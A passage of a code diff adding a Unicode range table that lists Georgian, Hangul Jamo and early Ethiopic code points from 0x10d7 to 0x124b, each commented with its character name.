+ [0x10d7, 0x10d7], /* GEORGIAN LETTER TAN (GEORGIAN SMALL LETTER TAN) */
+ [0x10d8, 0x10d8], /* GEORGIAN LETTER IN (GEORGIAN SMALL LETTER IN) */
+ [0x10d9, 0x10d9], /* GEORGIAN LETTER KAN (GEORGIAN SMALL LETTER KAN) */
+ [0x10da, 0x10da], /* GEORGIAN LETTER LAS (GEORGIAN SMALL LETTER LAS) */
+ [0x10db, 0x10db], /* GEORGIAN LETTER MAN (GEORGIAN SMALL LETTER MAN) */
+ [0x10dc, 0x10dc], /* GEORGIAN LETTER NAR (GEORGIAN SMALL LETTER NAR) */
+ [0x10dd, 0x10dd], /* GEORGIAN LETTER ON (GEORGIAN SMALL LETTER ON) */
+ [0x10de, 0x10de], /* GEORGIAN LETTER PAR (GEORGIAN SMALL LETTER PAR) */
+ [0x10df, 0x10df], /* GEORGIAN LETTER ZHAR (GEORGIAN SMALL LETTER ZHAR) */
+ [0x10e0, 0x10e0], /* GEORGIAN LETTER RAE (GEORGIAN SMALL LETTER RAE) */
+ [0x10e1, 0x10e1], /* GEORGIAN LETTER SAN (GEORGIAN SMALL LETTER SAN) */
+ [0x10e2, 0x10e2], /* GEORGIAN LETTER TAR (GEORGIAN SMALL LETTER TAR) */
+ [0x10e3, 0x10e3], /* GEORGIAN LETTER UN (GEORGIAN SMALL LETTER UN) */
+ [0x10e4, 0x10e4], /* GEORGIAN LETTER PHAR (GEORGIAN SMALL LETTER PHAR) */
+ [0x10e5, 0x10e5], /* GEORGIAN LETTER KHAR (GEORGIAN SMALL LETTER KHAR) */
+ [0x10e6, 0x10e6], /* GEORGIAN LETTER GHAN (GEORGIAN SMALL LETTER GHAN) */
+ [0x10e7, 0x10e7], /* GEORGIAN LETTER QAR (GEORGIAN SMALL LETTER QAR) */
+ [0x10e8, 0x10e8], /* GEORGIAN LETTER SHIN (GEORGIAN SMALL LETTER SHIN) */
+ [0x10e9, 0x10e9], /* GEORGIAN LETTER CHIN (GEORGIAN SMALL LETTER CHIN) */
+ [0x10ea, 0x10ea], /* GEORGIAN LETTER CAN (GEORGIAN SMALL LETTER CAN) */
+ [0x10eb, 0x10eb], /* GEORGIAN LETTER JIL (GEORGIAN SMALL LETTER JIL) */
+ [0x10ec, 0x10ec], /* GEORGIAN LETTER CIL (GEORGIAN SMALL LETTER CIL) */
+ [0x10ed, 0x10ed], /* GEORGIAN LETTER CHAR (GEORGIAN SMALL LETTER CHAR) */
+ [0x10ee, 0x10ee], /* GEORGIAN LETTER XAN (GEORGIAN SMALL LETTER XAN) */
+ [0x10ef, 0x10ef], /* GEORGIAN LETTER JHAN (GEORGIAN SMALL LETTER JHAN) */
+ [0x10f0, 0x10f0], /* GEORGIAN LETTER HAE (GEORGIAN SMALL LETTER HAE) */
+ [0x10f1, 0x10f1], /* GEORGIAN LETTER HE (GEORGIAN SMALL LETTER HE) */
+ [0x10f2, 0x10f2], /* GEORGIAN LETTER HIE (GEORGIAN SMALL LETTER HIE) */
+ [0x10f3, 0x10f3], /* GEORGIAN LETTER WE (GEORGIAN SMALL LETTER WE) */
+ [0x10f4, 0x10f4], /* GEORGIAN LETTER HAR (GEORGIAN SMALL LETTER HAR) */
+ [0x10f5, 0x10f5], /* GEORGIAN LETTER HOE (GEORGIAN SMALL LETTER HOE) */
+ [0x10f6, 0x10f6], /* GEORGIAN LETTER FI (GEORGIAN SMALL LETTER FI) */
+ [0x10f7, 0x10f7], /* GEORGIAN LETTER YN */
+ [0x10f8, 0x10f8], /* GEORGIAN LETTER ELIFI */
+ [0x10f9, 0x10f9], /* GEORGIAN LETTER TURNED GAN */
+ [0x10fa, 0x10fa], /* GEORGIAN LETTER AIN */
+ [0x10fb, 0x10fb], /* GEORGIAN PARAGRAPH SEPARATOR */
+ [0x10fc, 0x10fc], /* MODIFIER LETTER GEORGIAN NAR */
+ [0x10fd, 0x10fd], /* GEORGIAN LETTER AEN */
+ [0x10fe, 0x10fe], /* GEORGIAN LETTER HARD SIGN */
+ [0x10ff, 0x10ff], /* GEORGIAN LETTER LABIAL SIGN */
+ [0x1100, 0x1100], /* HANGUL CHOSEONG KIYEOK */
+ [0x1101, 0x1101], /* HANGUL CHOSEONG SSANGKIYEOK */
+ [0x1102, 0x1102], /* HANGUL CHOSEONG NIEUN */
+ [0x1103, 0x1103], /* HANGUL CHOSEONG TIKEUT */
+ [0x1104, 0x1104], /* HANGUL CHOSEONG SSANGTIKEUT */
+ [0x1105, 0x1105], /* HANGUL CHOSEONG RIEUL */
+ [0x1106, 0x1106], /* HANGUL CHOSEONG MIEUM */
+ [0x1107, 0x1107], /* HANGUL CHOSEONG PIEUP */
+ [0x1108, 0x1108], /* HANGUL CHOSEONG SSANGPIEUP */
+ [0x1109, 0x1109], /* HANGUL CHOSEONG SIOS */
+ [0x110a, 0x110a], /* HANGUL CHOSEONG SSANGSIOS */
+ [0x110b, 0x110b], /* HANGUL CHOSEONG IEUNG */
+ [0x110c, 0x110c], /* HANGUL CHOSEONG CIEUC */
+ [0x110d, 0x110d], /* HANGUL CHOSEONG SSANGCIEUC */
+ [0x110e, 0x110e], /* HANGUL CHOSEONG CHIEUCH */
+ [0x110f, 0x110f], /* HANGUL CHOSEONG KHIEUKH */
+ [0x1110, 0x1110], /* HANGUL CHOSEONG THIEUTH */
+ [0x1111, 0x1111], /* HANGUL CHOSEONG PHIEUPH */
+ [0x1112, 0x1112], /* HANGUL CHOSEONG HIEUH */
+ [0x1113, 0x1113], /* HANGUL CHOSEONG NIEUN-KIYEOK */
+ [0x1114, 0x1114], /* HANGUL CHOSEONG SSANGNIEUN */
+ [0x1115, 0x1115], /* HANGUL CHOSEONG NIEUN-TIKEUT */
+ [0x1116, 0x1116], /* HANGUL CHOSEONG NIEUN-PIEUP */
+ [0x1117, 0x1117], /* HANGUL CHOSEONG TIKEUT-KIYEOK */
+ [0x1118, 0x1118], /* HANGUL CHOSEONG RIEUL-NIEUN */
+ [0x1119, 0x1119], /* HANGUL CHOSEONG SSANGRIEUL */
+ [0x111a, 0x111a], /* HANGUL CHOSEONG RIEUL-HIEUH */
+ [0x111b, 0x111b], /* HANGUL CHOSEONG KAPYEOUNRIEUL */
+ [0x111c, 0x111c], /* HANGUL CHOSEONG MIEUM-PIEUP */
+ [0x111d, 0x111d], /* HANGUL CHOSEONG KAPYEOUNMIEUM */
+ [0x111e, 0x111e], /* HANGUL CHOSEONG PIEUP-KIYEOK */
+ [0x111f, 0x111f], /* HANGUL CHOSEONG PIEUP-NIEUN */
+ [0x1120, 0x1120], /* HANGUL CHOSEONG PIEUP-TIKEUT */
+ [0x1121, 0x1121], /* HANGUL CHOSEONG PIEUP-SIOS */
+ [0x1122, 0x1122], /* HANGUL CHOSEONG PIEUP-SIOS-KIYEOK */
+ [0x1123, 0x1123], /* HANGUL CHOSEONG PIEUP-SIOS-TIKEUT */
+ [0x1124, 0x1124], /* HANGUL CHOSEONG PIEUP-SIOS-PIEUP */
+ [0x1125, 0x1125], /* HANGUL CHOSEONG PIEUP-SSANGSIOS */
+ [0x1126, 0x1126], /* HANGUL CHOSEONG PIEUP-SIOS-CIEUC */
+ [0x1127, 0x1127], /* HANGUL CHOSEONG PIEUP-CIEUC */
+ [0x1128, 0x1128], /* HANGUL CHOSEONG PIEUP-CHIEUCH */
+ [0x1129, 0x1129], /* HANGUL CHOSEONG PIEUP-THIEUTH */
+ [0x112a, 0x112a], /* HANGUL CHOSEONG PIEUP-PHIEUPH */
+ [0x112b, 0x112b], /* HANGUL CHOSEONG KAPYEOUNPIEUP */
+ [0x112c, 0x112c], /* HANGUL CHOSEONG KAPYEOUNSSANGPIEUP */
+ [0x112d, 0x112d], /* HANGUL CHOSEONG SIOS-KIYEOK */
+ [0x112e, 0x112e], /* HANGUL CHOSEONG SIOS-NIEUN */
+ [0x112f, 0x112f], /* HANGUL CHOSEONG SIOS-TIKEUT */
+ [0x1130, 0x1130], /* HANGUL CHOSEONG SIOS-RIEUL */
+ [0x1131, 0x1131], /* HANGUL CHOSEONG SIOS-MIEUM */
+ [0x1132, 0x1132], /* HANGUL CHOSEONG SIOS-PIEUP */
+ [0x1133, 0x1133], /* HANGUL CHOSEONG SIOS-PIEUP-KIYEOK */
+ [0x1134, 0x1134], /* HANGUL CHOSEONG SIOS-SSANGSIOS */
+ [0x1135, 0x1135], /* HANGUL CHOSEONG SIOS-IEUNG */
+ [0x1136, 0x1136], /* HANGUL CHOSEONG SIOS-CIEUC */
+ [0x1137, 0x1137], /* HANGUL CHOSEONG SIOS-CHIEUCH */
+ [0x1138, 0x1138], /* HANGUL CHOSEONG SIOS-KHIEUKH */
+ [0x1139, 0x1139], /* HANGUL CHOSEONG SIOS-THIEUTH */
+ [0x113a, 0x113a], /* HANGUL CHOSEONG SIOS-PHIEUPH */
+ [0x113b, 0x113b], /* HANGUL CHOSEONG SIOS-HIEUH */
+ [0x113c, 0x113c], /* HANGUL CHOSEONG CHITUEUMSIOS */
+ [0x113d, 0x113d], /* HANGUL CHOSEONG CHITUEUMSSANGSIOS */
+ [0x113e, 0x113e], /* HANGUL CHOSEONG CEONGCHIEUMSIOS */
+ [0x113f, 0x113f], /* HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS */
+ [0x1140, 0x1140], /* HANGUL CHOSEONG PANSIOS */
+ [0x1141, 0x1141], /* HANGUL CHOSEONG IEUNG-KIYEOK */
+ [0x1142, 0x1142], /* HANGUL CHOSEONG IEUNG-TIKEUT */
+ [0x1143, 0x1143], /* HANGUL CHOSEONG IEUNG-MIEUM */
+ [0x1144, 0x1144], /* HANGUL CHOSEONG IEUNG-PIEUP */
+ [0x1145, 0x1145], /* HANGUL CHOSEONG IEUNG-SIOS */
+ [0x1146, 0x1146], /* HANGUL CHOSEONG IEUNG-PANSIOS */
+ [0x1147, 0x1147], /* HANGUL CHOSEONG SSANGIEUNG */
+ [0x1148, 0x1148], /* HANGUL CHOSEONG IEUNG-CIEUC */
+ [0x1149, 0x1149], /* HANGUL CHOSEONG IEUNG-CHIEUCH */
+ [0x114a, 0x114a], /* HANGUL CHOSEONG IEUNG-THIEUTH */
+ [0x114b, 0x114b], /* HANGUL CHOSEONG IEUNG-PHIEUPH */
+ [0x114c, 0x114c], /* HANGUL CHOSEONG YESIEUNG */
+ [0x114d, 0x114d], /* HANGUL CHOSEONG CIEUC-IEUNG */
+ [0x114e, 0x114e], /* HANGUL CHOSEONG CHITUEUMCIEUC */
+ [0x114f, 0x114f], /* HANGUL CHOSEONG CHITUEUMSSANGCIEUC */
+ [0x1150, 0x1150], /* HANGUL CHOSEONG CEONGCHIEUMCIEUC */
+ [0x1151, 0x1151], /* HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC */
+ [0x1152, 0x1152], /* HANGUL CHOSEONG CHIEUCH-KHIEUKH */
+ [0x1153, 0x1153], /* HANGUL CHOSEONG CHIEUCH-HIEUH */
+ [0x1154, 0x1154], /* HANGUL CHOSEONG CHITUEUMCHIEUCH */
+ [0x1155, 0x1155], /* HANGUL CHOSEONG CEONGCHIEUMCHIEUCH */
+ [0x1156, 0x1156], /* HANGUL CHOSEONG PHIEUPH-PIEUP */
+ [0x1157, 0x1157], /* HANGUL CHOSEONG KAPYEOUNPHIEUPH */
+ [0x1158, 0x1158], /* HANGUL CHOSEONG SSANGHIEUH */
+ [0x1159, 0x1159], /* HANGUL CHOSEONG YEORINHIEUH */
+ [0x115a, 0x115a], /* HANGUL CHOSEONG KIYEOK-TIKEUT */
+ [0x115b, 0x115b], /* HANGUL CHOSEONG NIEUN-SIOS */
+ [0x115c, 0x115c], /* HANGUL CHOSEONG NIEUN-CIEUC */
+ [0x115d, 0x115d], /* HANGUL CHOSEONG NIEUN-HIEUH */
+ [0x115e, 0x115e], /* HANGUL CHOSEONG TIKEUT-RIEUL */
+ [0x115f, 0x115f], /* HANGUL CHOSEONG FILLER */
+ [0x1160, 0x1160], /* HANGUL JUNGSEONG FILLER */
+ [0x1161, 0x1161], /* HANGUL JUNGSEONG A */
+ [0x1162, 0x1162], /* HANGUL JUNGSEONG AE */
+ [0x1163, 0x1163], /* HANGUL JUNGSEONG YA */
+ [0x1164, 0x1164], /* HANGUL JUNGSEONG YAE */
+ [0x1165, 0x1165], /* HANGUL JUNGSEONG EO */
+ [0x1166, 0x1166], /* HANGUL JUNGSEONG E */
+ [0x1167, 0x1167], /* HANGUL JUNGSEONG YEO */
+ [0x1168, 0x1168], /* HANGUL JUNGSEONG YE */
+ [0x1169, 0x1169], /* HANGUL JUNGSEONG O */
+ [0x116a, 0x116a], /* HANGUL JUNGSEONG WA */
+ [0x116b, 0x116b], /* HANGUL JUNGSEONG WAE */
+ [0x116c, 0x116c], /* HANGUL JUNGSEONG OE */
+ [0x116d, 0x116d], /* HANGUL JUNGSEONG YO */
+ [0x116e, 0x116e], /* HANGUL JUNGSEONG U */
+ [0x116f, 0x116f], /* HANGUL JUNGSEONG WEO */
+ [0x1170, 0x1170], /* HANGUL JUNGSEONG WE */
+ [0x1171, 0x1171], /* HANGUL JUNGSEONG WI */
+ [0x1172, 0x1172], /* HANGUL JUNGSEONG YU */
+ [0x1173, 0x1173], /* HANGUL JUNGSEONG EU */
+ [0x1174, 0x1174], /* HANGUL JUNGSEONG YI */
+ [0x1175, 0x1175], /* HANGUL JUNGSEONG I */
+ [0x1176, 0x1176], /* HANGUL JUNGSEONG A-O */
+ [0x1177, 0x1177], /* HANGUL JUNGSEONG A-U */
+ [0x1178, 0x1178], /* HANGUL JUNGSEONG YA-O */
+ [0x1179, 0x1179], /* HANGUL JUNGSEONG YA-YO */
+ [0x117a, 0x117a], /* HANGUL JUNGSEONG EO-O */
+ [0x117b, 0x117b], /* HANGUL JUNGSEONG EO-U */
+ [0x117c, 0x117c], /* HANGUL JUNGSEONG EO-EU */
+ [0x117d, 0x117d], /* HANGUL JUNGSEONG YEO-O */
+ [0x117e, 0x117e], /* HANGUL JUNGSEONG YEO-U */
+ [0x117f, 0x117f], /* HANGUL JUNGSEONG O-EO */
+ [0x1180, 0x1180], /* HANGUL JUNGSEONG O-E */
+ [0x1181, 0x1181], /* HANGUL JUNGSEONG O-YE */
+ [0x1182, 0x1182], /* HANGUL JUNGSEONG O-O */
+ [0x1183, 0x1183], /* HANGUL JUNGSEONG O-U */
+ [0x1184, 0x1184], /* HANGUL JUNGSEONG YO-YA */
+ [0x1185, 0x1185], /* HANGUL JUNGSEONG YO-YAE */
+ [0x1186, 0x1186], /* HANGUL JUNGSEONG YO-YEO */
+ [0x1187, 0x1187], /* HANGUL JUNGSEONG YO-O */
+ [0x1188, 0x1188], /* HANGUL JUNGSEONG YO-I */
+ [0x1189, 0x1189], /* HANGUL JUNGSEONG U-A */
+ [0x118a, 0x118a], /* HANGUL JUNGSEONG U-AE */
+ [0x118b, 0x118b], /* HANGUL JUNGSEONG U-EO-EU */
+ [0x118c, 0x118c], /* HANGUL JUNGSEONG U-YE */
+ [0x118d, 0x118d], /* HANGUL JUNGSEONG U-U */
+ [0x118e, 0x118e], /* HANGUL JUNGSEONG YU-A */
+ [0x118f, 0x118f], /* HANGUL JUNGSEONG YU-EO */
+ [0x1190, 0x1190], /* HANGUL JUNGSEONG YU-E */
+ [0x1191, 0x1191], /* HANGUL JUNGSEONG YU-YEO */
+ [0x1192, 0x1192], /* HANGUL JUNGSEONG YU-YE */
+ [0x1193, 0x1193], /* HANGUL JUNGSEONG YU-U */
+ [0x1194, 0x1194], /* HANGUL JUNGSEONG YU-I */
+ [0x1195, 0x1195], /* HANGUL JUNGSEONG EU-U */
+ [0x1196, 0x1196], /* HANGUL JUNGSEONG EU-EU */
+ [0x1197, 0x1197], /* HANGUL JUNGSEONG YI-U */
+ [0x1198, 0x1198], /* HANGUL JUNGSEONG I-A */
+ [0x1199, 0x1199], /* HANGUL JUNGSEONG I-YA */
+ [0x119a, 0x119a], /* HANGUL JUNGSEONG I-O */
+ [0x119b, 0x119b], /* HANGUL JUNGSEONG I-U */
+ [0x119c, 0x119c], /* HANGUL JUNGSEONG I-EU */
+ [0x119d, 0x119d], /* HANGUL JUNGSEONG I-ARAEA */
+ [0x119e, 0x119e], /* HANGUL JUNGSEONG ARAEA */
+ [0x119f, 0x119f], /* HANGUL JUNGSEONG ARAEA-EO */
+ [0x11a0, 0x11a0], /* HANGUL JUNGSEONG ARAEA-U */
+ [0x11a1, 0x11a1], /* HANGUL JUNGSEONG ARAEA-I */
+ [0x11a2, 0x11a2], /* HANGUL JUNGSEONG SSANGARAEA */
+ [0x11a3, 0x11a3], /* HANGUL JUNGSEONG A-EU */
+ [0x11a4, 0x11a4], /* HANGUL JUNGSEONG YA-U */
+ [0x11a5, 0x11a5], /* HANGUL JUNGSEONG YEO-YA */
+ [0x11a6, 0x11a6], /* HANGUL JUNGSEONG O-YA */
+ [0x11a7, 0x11a7], /* HANGUL JUNGSEONG O-YAE */
+ [0x11a8, 0x11a8], /* HANGUL JONGSEONG KIYEOK */
+ [0x11a9, 0x11a9], /* HANGUL JONGSEONG SSANGKIYEOK */
+ [0x11aa, 0x11aa], /* HANGUL JONGSEONG KIYEOK-SIOS */
+ [0x11ab, 0x11ab], /* HANGUL JONGSEONG NIEUN */
+ [0x11ac, 0x11ac], /* HANGUL JONGSEONG NIEUN-CIEUC */
+ [0x11ad, 0x11ad], /* HANGUL JONGSEONG NIEUN-HIEUH */
+ [0x11ae, 0x11ae], /* HANGUL JONGSEONG TIKEUT */
+ [0x11af, 0x11af], /* HANGUL JONGSEONG RIEUL */
+ [0x11b0, 0x11b0], /* HANGUL JONGSEONG RIEUL-KIYEOK */
+ [0x11b1, 0x11b1], /* HANGUL JONGSEONG RIEUL-MIEUM */
+ [0x11b2, 0x11b2], /* HANGUL JONGSEONG RIEUL-PIEUP */
+ [0x11b3, 0x11b3], /* HANGUL JONGSEONG RIEUL-SIOS */
+ [0x11b4, 0x11b4], /* HANGUL JONGSEONG RIEUL-THIEUTH */
+ [0x11b5, 0x11b5], /* HANGUL JONGSEONG RIEUL-PHIEUPH */
+ [0x11b6, 0x11b6], /* HANGUL JONGSEONG RIEUL-HIEUH */
+ [0x11b7, 0x11b7], /* HANGUL JONGSEONG MIEUM */
+ [0x11b8, 0x11b8], /* HANGUL JONGSEONG PIEUP */
+ [0x11b9, 0x11b9], /* HANGUL JONGSEONG PIEUP-SIOS */
+ [0x11ba, 0x11ba], /* HANGUL JONGSEONG SIOS */
+ [0x11bb, 0x11bb], /* HANGUL JONGSEONG SSANGSIOS */
+ [0x11bc, 0x11bc], /* HANGUL JONGSEONG IEUNG */
+ [0x11bd, 0x11bd], /* HANGUL JONGSEONG CIEUC */
+ [0x11be, 0x11be], /* HANGUL JONGSEONG CHIEUCH */
+ [0x11bf, 0x11bf], /* HANGUL JONGSEONG KHIEUKH */
+ [0x11c0, 0x11c0], /* HANGUL JONGSEONG THIEUTH */
+ [0x11c1, 0x11c1], /* HANGUL JONGSEONG PHIEUPH */
+ [0x11c2, 0x11c2], /* HANGUL JONGSEONG HIEUH */
+ [0x11c3, 0x11c3], /* HANGUL JONGSEONG KIYEOK-RIEUL */
+ [0x11c4, 0x11c4], /* HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK */
+ [0x11c5, 0x11c5], /* HANGUL JONGSEONG NIEUN-KIYEOK */
+ [0x11c6, 0x11c6], /* HANGUL JONGSEONG NIEUN-TIKEUT */
+ [0x11c7, 0x11c7], /* HANGUL JONGSEONG NIEUN-SIOS */
+ [0x11c8, 0x11c8], /* HANGUL JONGSEONG NIEUN-PANSIOS */
+ [0x11c9, 0x11c9], /* HANGUL JONGSEONG NIEUN-THIEUTH */
+ [0x11ca, 0x11ca], /* HANGUL JONGSEONG TIKEUT-KIYEOK */
+ [0x11cb, 0x11cb], /* HANGUL JONGSEONG TIKEUT-RIEUL */
+ [0x11cc, 0x11cc], /* HANGUL JONGSEONG RIEUL-KIYEOK-SIOS */
+ [0x11cd, 0x11cd], /* HANGUL JONGSEONG RIEUL-NIEUN */
+ [0x11ce, 0x11ce], /* HANGUL JONGSEONG RIEUL-TIKEUT */
+ [0x11cf, 0x11cf], /* HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH */
+ [0x11d0, 0x11d0], /* HANGUL JONGSEONG SSANGRIEUL */
+ [0x11d1, 0x11d1], /* HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK */
+ [0x11d2, 0x11d2], /* HANGUL JONGSEONG RIEUL-MIEUM-SIOS */
+ [0x11d3, 0x11d3], /* HANGUL JONGSEONG RIEUL-PIEUP-SIOS */
+ [0x11d4, 0x11d4], /* HANGUL JONGSEONG RIEUL-PIEUP-HIEUH */
+ [0x11d5, 0x11d5], /* HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP */
+ [0x11d6, 0x11d6], /* HANGUL JONGSEONG RIEUL-SSANGSIOS */
+ [0x11d7, 0x11d7], /* HANGUL JONGSEONG RIEUL-PANSIOS */
+ [0x11d8, 0x11d8], /* HANGUL JONGSEONG RIEUL-KHIEUKH */
+ [0x11d9, 0x11d9], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH */
+ [0x11da, 0x11da], /* HANGUL JONGSEONG MIEUM-KIYEOK */
+ [0x11db, 0x11db], /* HANGUL JONGSEONG MIEUM-RIEUL */
+ [0x11dc, 0x11dc], /* HANGUL JONGSEONG MIEUM-PIEUP */
+ [0x11dd, 0x11dd], /* HANGUL JONGSEONG MIEUM-SIOS */
+ [0x11de, 0x11de], /* HANGUL JONGSEONG MIEUM-SSANGSIOS */
+ [0x11df, 0x11df], /* HANGUL JONGSEONG MIEUM-PANSIOS */
+ [0x11e0, 0x11e0], /* HANGUL JONGSEONG MIEUM-CHIEUCH */
+ [0x11e1, 0x11e1], /* HANGUL JONGSEONG MIEUM-HIEUH */
+ [0x11e2, 0x11e2], /* HANGUL JONGSEONG KAPYEOUNMIEUM */
+ [0x11e3, 0x11e3], /* HANGUL JONGSEONG PIEUP-RIEUL */
+ [0x11e4, 0x11e4], /* HANGUL JONGSEONG PIEUP-PHIEUPH */
+ [0x11e5, 0x11e5], /* HANGUL JONGSEONG PIEUP-HIEUH */
+ [0x11e6, 0x11e6], /* HANGUL JONGSEONG KAPYEOUNPIEUP */
+ [0x11e7, 0x11e7], /* HANGUL JONGSEONG SIOS-KIYEOK */
+ [0x11e8, 0x11e8], /* HANGUL JONGSEONG SIOS-TIKEUT */
+ [0x11e9, 0x11e9], /* HANGUL JONGSEONG SIOS-RIEUL */
+ [0x11ea, 0x11ea], /* HANGUL JONGSEONG SIOS-PIEUP */
+ [0x11eb, 0x11eb], /* HANGUL JONGSEONG PANSIOS */
+ [0x11ec, 0x11ec], /* HANGUL JONGSEONG IEUNG-KIYEOK */
+ [0x11ed, 0x11ed], /* HANGUL JONGSEONG IEUNG-SSANGKIYEOK */
+ [0x11ee, 0x11ee], /* HANGUL JONGSEONG SSANGIEUNG */
+ [0x11ef, 0x11ef], /* HANGUL JONGSEONG IEUNG-KHIEUKH */
+ [0x11f0, 0x11f0], /* HANGUL JONGSEONG YESIEUNG */
+ [0x11f1, 0x11f1], /* HANGUL JONGSEONG YESIEUNG-SIOS */
+ [0x11f2, 0x11f2], /* HANGUL JONGSEONG YESIEUNG-PANSIOS */
+ [0x11f3, 0x11f3], /* HANGUL JONGSEONG PHIEUPH-PIEUP */
+ [0x11f4, 0x11f4], /* HANGUL JONGSEONG KAPYEOUNPHIEUPH */
+ [0x11f5, 0x11f5], /* HANGUL JONGSEONG HIEUH-NIEUN */
+ [0x11f6, 0x11f6], /* HANGUL JONGSEONG HIEUH-RIEUL */
+ [0x11f7, 0x11f7], /* HANGUL JONGSEONG HIEUH-MIEUM */
+ [0x11f8, 0x11f8], /* HANGUL JONGSEONG HIEUH-PIEUP */
+ [0x11f9, 0x11f9], /* HANGUL JONGSEONG YEORINHIEUH */
+ [0x11fa, 0x11fa], /* HANGUL JONGSEONG KIYEOK-NIEUN */
+ [0x11fb, 0x11fb], /* HANGUL JONGSEONG KIYEOK-PIEUP */
+ [0x11fc, 0x11fc], /* HANGUL JONGSEONG KIYEOK-CHIEUCH */
+ [0x11fd, 0x11fd], /* HANGUL JONGSEONG KIYEOK-KHIEUKH */
+ [0x11fe, 0x11fe], /* HANGUL JONGSEONG KIYEOK-HIEUH */
+ [0x11ff, 0x11ff], /* HANGUL JONGSEONG SSANGNIEUN */
+ [0x1200, 0x1200], /* ETHIOPIC SYLLABLE HA */
+ [0x1201, 0x1201], /* ETHIOPIC SYLLABLE HU */
+ [0x1202, 0x1202], /* ETHIOPIC SYLLABLE HI */
+ [0x1203, 0x1203], /* ETHIOPIC SYLLABLE HAA */
+ [0x1204, 0x1204], /* ETHIOPIC SYLLABLE HEE */
+ [0x1205, 0x1205], /* ETHIOPIC SYLLABLE HE */
+ [0x1206, 0x1206], /* ETHIOPIC SYLLABLE HO */
+ [0x1207, 0x1207], /* ETHIOPIC SYLLABLE HOA */
+ [0x1208, 0x1208], /* ETHIOPIC SYLLABLE LA */
+ [0x1209, 0x1209], /* ETHIOPIC SYLLABLE LU */
+ [0x120a, 0x120a], /* ETHIOPIC SYLLABLE LI */
+ [0x120b, 0x120b], /* ETHIOPIC SYLLABLE LAA */
+ [0x120c, 0x120c], /* ETHIOPIC SYLLABLE LEE */
+ [0x120d, 0x120d], /* ETHIOPIC SYLLABLE LE */
+ [0x120e, 0x120e], /* ETHIOPIC SYLLABLE LO */
+ [0x120f, 0x120f], /* ETHIOPIC SYLLABLE LWA */
+ [0x1210, 0x1210], /* ETHIOPIC SYLLABLE HHA */
+ [0x1211, 0x1211], /* ETHIOPIC SYLLABLE HHU */
+ [0x1212, 0x1212], /* ETHIOPIC SYLLABLE HHI */
+ [0x1213, 0x1213], /* ETHIOPIC SYLLABLE HHAA */
+ [0x1214, 0x1214], /* ETHIOPIC SYLLABLE HHEE */
+ [0x1215, 0x1215], /* ETHIOPIC SYLLABLE HHE */
+ [0x1216, 0x1216], /* ETHIOPIC SYLLABLE HHO */
+ [0x1217, 0x1217], /* ETHIOPIC SYLLABLE HHWA */
+ [0x1218, 0x1218], /* ETHIOPIC SYLLABLE MA */
+ [0x1219, 0x1219], /* ETHIOPIC SYLLABLE MU */
+ [0x121a, 0x121a], /* ETHIOPIC SYLLABLE MI */
+ [0x121b, 0x121b], /* ETHIOPIC SYLLABLE MAA */
+ [0x121c, 0x121c], /* ETHIOPIC SYLLABLE MEE */
+ [0x121d, 0x121d], /* ETHIOPIC SYLLABLE ME */
+ [0x121e, 0x121e], /* ETHIOPIC SYLLABLE MO */
+ [0x121f, 0x121f], /* ETHIOPIC SYLLABLE MWA */
+ [0x1220, 0x1220], /* ETHIOPIC SYLLABLE SZA */
+ [0x1221, 0x1221], /* ETHIOPIC SYLLABLE SZU */
+ [0x1222, 0x1222], /* ETHIOPIC SYLLABLE SZI */
+ [0x1223, 0x1223], /* ETHIOPIC SYLLABLE SZAA */
+ [0x1224, 0x1224], /* ETHIOPIC SYLLABLE SZEE */
+ [0x1225, 0x1225], /* ETHIOPIC SYLLABLE SZE */
+ [0x1226, 0x1226], /* ETHIOPIC SYLLABLE SZO */
+ [0x1227, 0x1227], /* ETHIOPIC SYLLABLE SZWA */
+ [0x1228, 0x1228], /* ETHIOPIC SYLLABLE RA */
+ [0x1229, 0x1229], /* ETHIOPIC SYLLABLE RU */
+ [0x122a, 0x122a], /* ETHIOPIC SYLLABLE RI */
+ [0x122b, 0x122b], /* ETHIOPIC SYLLABLE RAA */
+ [0x122c, 0x122c], /* ETHIOPIC SYLLABLE REE */
+ [0x122d, 0x122d], /* ETHIOPIC SYLLABLE RE */
+ [0x122e, 0x122e], /* ETHIOPIC SYLLABLE RO */
+ [0x122f, 0x122f], /* ETHIOPIC SYLLABLE RWA */
+ [0x1230, 0x1230], /* ETHIOPIC SYLLABLE SA */
+ [0x1231, 0x1231], /* ETHIOPIC SYLLABLE SU */
+ [0x1232, 0x1232], /* ETHIOPIC SYLLABLE SI */
+ [0x1233, 0x1233], /* ETHIOPIC SYLLABLE SAA */
+ [0x1234, 0x1234], /* ETHIOPIC SYLLABLE SEE */
+ [0x1235, 0x1235], /* ETHIOPIC SYLLABLE SE */
+ [0x1236, 0x1236], /* ETHIOPIC SYLLABLE SO */
+ [0x1237, 0x1237], /* ETHIOPIC SYLLABLE SWA */
+ [0x1238, 0x1238], /* ETHIOPIC SYLLABLE SHA */
+ [0x1239, 0x1239], /* ETHIOPIC SYLLABLE SHU */
+ [0x123a, 0x123a], /* ETHIOPIC SYLLABLE SHI */
+ [0x123b, 0x123b], /* ETHIOPIC SYLLABLE SHAA */
+ [0x123c, 0x123c], /* ETHIOPIC SYLLABLE SHEE */
+ [0x123d, 0x123d], /* ETHIOPIC SYLLABLE SHE */
+ [0x123e, 0x123e], /* ETHIOPIC SYLLABLE SHO */
+ [0x123f, 0x123f], /* ETHIOPIC SYLLABLE SHWA */
+ [0x1240, 0x1240], /* ETHIOPIC SYLLABLE QA */
+ [0x1241, 0x1241], /* ETHIOPIC SYLLABLE QU */
+ [0x1242, 0x1242], /* ETHIOPIC SYLLABLE QI */
+ [0x1243, 0x1243], /* ETHIOPIC SYLLABLE QAA */
+ [0x1244, 0x1244], /* ETHIOPIC SYLLABLE QEE */
+ [0x1245, 0x1245], /* ETHIOPIC SYLLABLE QE */
+ [0x1246, 0x1246], /* ETHIOPIC SYLLABLE QO */
+ [0x1247, 0x1247], /* ETHIOPIC SYLLABLE QOA */
+ [0x1248, 0x1248], /* ETHIOPIC SYLLABLE QWA */
+ [0x1249, 0x1249],
+ [0x124a, 0x124a], /* ETHIOPIC SYLLABLE QWI */
+ [0x124b, 0x124b], /* ETHIOPIC SYLLABLE QWAA */
